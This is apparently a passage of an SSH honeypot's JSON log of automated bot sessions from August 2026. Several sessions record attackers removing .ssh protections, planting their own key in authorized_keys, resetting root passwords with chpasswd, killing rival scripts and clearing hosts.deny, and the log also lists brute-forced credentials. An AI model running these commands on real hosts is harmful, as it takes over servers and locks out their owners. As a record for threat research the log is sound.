AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:34:12.914081+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:34:13.621448+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:34:14.361185+00:00","kind":"input","latency_ms":null,"data":"echo -e \"talha\\nAcogddyF0swO\\nAcogddyF0swO\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:34:15.094950+00:00","kind":"input","latency_ms":null,"data":"echo \"talha\\nAcogddyF0swO\\nAcogddyF0swO\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:34:15.828422+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:34:16.442730+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:34:17.169936+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:34:18.279502+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:34:19.018860+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:34:20.056425+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:34:20.783223+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:34:21.297089+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:34:22.036387+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:34:22.763790+00:00","kind":"output","latency_ms":null,"data":" 12:34:22 up 7 days, 9:24, 0 user, load average: 0.18, 0.18, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:34:23.489168+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:34:23.920907+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:34:24.660520+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:34:25.264105+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:34:25.990375+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:34:26.699822+00:00","kind":"output","latency_ms":null,"data":"top - 12:34:26 up 7 days, 9:24, 0 user, load average: 0.18, 0.18, 0.2\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:34:27.434270+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:34:28.005195+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:34:28.729184+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:34:29.160876+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:34:29.889488+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:34:30.449114+00:00","kind":"output","latency_ms":null,"data":"talha"},{"seq":29,"at":"2026-08-27T12:34:31.188945+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:34:32.330198+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:34:33.053887+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:34:34.062547+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"talha","password":"talha","method":"password","accepted":true,"tier":"other"}]} {"id":"321529d5-90ce-4b2c-a955-2ea421a8bb49","name":"nameless-wistful-dunlin","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59754,"username":"dockeruser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:34:24.688330+00:00","ended_at":"2026-08-27T12:34:25.690124+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"dockeruser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a0a894f5-985c-41fd-ab6c-806006dbfbb2","name":"placid-mighty-adder","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59738,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:34:21.876508+00:00","ended_at":"2026-08-27T12:34:23.777115+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6f6ce012-35d0-4ff1-af9c-cb66d0a51ef3","name":"silent-mindful-pheasant","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":60330,"username":"talha","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:34:10.719948+00:00","ended_at":"2026-08-27T12:34:12.680752+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"talha","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b2aceaf5-53fd-4426-a312-4eb6ef1024c8","name":"merry-misty-eagle","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":49798,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:34:07.367859+00:00","ended_at":"2026-08-27T12:34:09.058778+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a43d6df3-a362-41f0-ac3b-6d50b2b37097","name":"flinty-foggy-stork","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":37116,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:33:44.889851+00:00","ended_at":"2026-08-27T12:33:45.802782+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:33:25.589354+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:33:25.912082+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:33:29.411524+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:33:30.468126+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:33:30.800880+00:00","kind":"input","latency_ms":null,"data":"echo \"root:wt7fE2DcO5yC\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:33:31.125769+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:33:31.451217+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:33:32.401543+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:33:32.729160+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:33:33.943082+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:33:34.280053+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:33:35.251738+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:33:35.581417+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:33:36.444860+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:33:36.772013+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:33:37.110065+00:00","kind":"output","latency_ms":null,"data":" 12:33:37 up 7 days, 9:23, 0 user, load average: 0.28, 0.29, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:33:37.439227+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:33:38.179371+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:33:38.509180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:33:39.255901+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:33:39.586104+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:33:40.356013+00:00","kind":"output","latency_ms":null,"data":"top - 12:33:40 up 7 days, 9:23, 0 user, load average: 0.28, 0.29, 0.25\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:33:40.684851+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:33:40.944893+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:33:41.272024+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:33:41.709633+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:33:42.037049+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:33:42.377837+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:33:42.707057+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:33:44.562883+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:33:44.890676+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:33:45.704450+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"12356789","method":"password","accepted":true,"tier":"other"}]} {"id":"f741687a-2f74-4efe-8967-e1f14d778609","name":"cobalt-velvet-quokka","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":57180,"username":"lighthouse","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:33:42.482087+00:00","ended_at":"2026-08-27T12:33:43.465726+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T12:33:25.761970+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:33:26.053453+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:33:29.138436+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:33:29.482905+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:33:29.777191+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nwt7fE2DcO5yC\\nwt7fE2DcO5yC\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:33:30.069159+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nwt7fE2DcO5yC\\nwt7fE2DcO5yC\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:33:30.363680+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:33:31.018791+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:33:31.311878+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:33:32.359714+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:33:32.655996+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:33:33.770251+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:33:34.066207+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:33:34.466792+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:33:34.762277+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:33:35.507329+00:00","kind":"output","latency_ms":null,"data":" 12:33:35 up 7 days, 9:23, 0 user, load average: 0.11, 0.13, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:33:35.800068+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:33:36.425747+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:33:36.718047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:33:37.145932+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:33:37.440582+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:33:38.277263+00:00","kind":"output","latency_ms":null,"data":"top - 12:33:38 up 7 days, 9:23, 0 user, load average: 0.11, 0.13, 0.11\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:33:38.571554+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:33:39.058754+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:33:39.351591+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:33:39.780201+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:33:40.074907+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:33:40.758817+00:00","kind":"output","latency_ms":null,"data":"lighthouse"},{"seq":29,"at":"2026-08-27T12:33:41.052239+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:33:42.189231+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:33:42.482618+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:33:43.378998+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"lighthouse","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"76f346a1-f615-4192-8f06-bceee895d849","name":"vigilant-eager-ferret","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51388,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":259,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:33:36.913486+00:00","ended_at":"2026-08-27T12:33:39.163783+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:33:17.772293+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:33:18.031761+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:33:22.523118+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:33:23.134576+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:33:23.393004+00:00","kind":"input","latency_ms":null,"data":"echo \"root:JCAxecqOOcIl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:33:23.650629+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:33:23.907791+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:33:24.647015+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:33:24.911369+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:33:25.970722+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:33:26.229483+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:33:27.815901+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:33:28.075815+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:33:28.516947+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:33:28.776751+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:33:29.628101+00:00","kind":"output","latency_ms":null,"data":" 12:33:29 up 7 days, 9:23, 0 user, load average: 0.02, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:33:29.886709+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:33:30.339192+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:33:30.598482+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:33:31.021900+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:33:31.281655+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:33:31.812638+00:00","kind":"output","latency_ms":null,"data":"top - 12:33:31 up 7 days, 9:23, 0 user, load average: 0.02, 0.03, 0.02\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:33:32.072019+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:33:32.732535+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:33:32.994365+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:33:33.360331+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:33:33.619238+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:33:34.584438+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:33:34.843103+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:33:36.654884+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:33:36.914083+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:33:39.089193+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe@123456789","method":"password","accepted":true,"tier":"other"}]} {"id":"206594b2-42ba-441c-8ed9-a689d3e76119","name":"glassy-hazel-wombat","protocol":"ssh","channel_kind":null,"src_ip":"2.57.121.112","src_port":32882,"username":"bradyn","client_version":"SSH-2.0-PuTTY_Release_0.84","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:33:33.622383+00:00","ended_at":"2026-08-27T12:33:34.082112+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"bradyn","password":"bradyn","method":"password","accepted":true,"tier":"other"}]} 